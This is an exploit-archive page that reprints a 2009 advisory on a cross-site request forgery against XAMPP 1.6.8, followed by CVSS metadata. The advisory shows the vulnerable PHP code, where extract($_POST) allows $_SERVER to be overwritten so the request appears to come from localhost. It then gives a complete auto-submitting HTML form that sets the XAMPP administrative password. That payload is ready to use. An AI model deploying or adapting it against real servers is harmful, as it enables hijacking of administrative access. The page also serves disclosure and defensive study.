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XAMPP 1.6.8 (XSRF) Change Administrative Password Exploit

CVE	Category	Price	Severity
	CWE-352	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2009-03-23

CVSS	EPSS	EPSSP
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009030201

Below is a copy:

XAMPP change administrative password:
--------------------------------------------------------------------------------
Written by Michael Brooks
special thanks to str0ke

Affects XAMPP 1.6.8.
homepage: http://www.apachefriends.org/
XAMPP has 17+ million downloads from sourceforge.net.
register_globals=On or Off
This attack is exploitable even when this page is reporting a fully
secure system: http://10.1.1.10/security/index.php

There are two vulnerabilities that are being used toagther.
1)Global variable manipulation to spoof ip address.
2)XSRF to change the .htaccess password for http://10.1.1.10/security/
 and http://10.1.1.10/xampp/ .

The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
this cannot normally be spoofed.
However extract($_POST); can be used to overwrite any declared
variable,  including the $_SERVER superglobal.  This can be used to
"spoof"  your ip address as 127.0.0.1
This xsrf attack can be exploited from a browser in any ip address, so
long as that browser is currently authenticated.

This vulnerable code is from the very top of: /security/xamppsecurity.php
<?php
       error_reporting(0);
       extract($_POST);
       extract($_SERVER);
       $host = "127.0.0.1";
       $timeout = "1";

       if ($REMOTE_ADDR) {
               if ($REMOTE_ADDR != $host) {
                       echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
                       exit;
               }
       }
//...

//Start of xsrf attack
<html>
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
          <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
//End of xsrf attack

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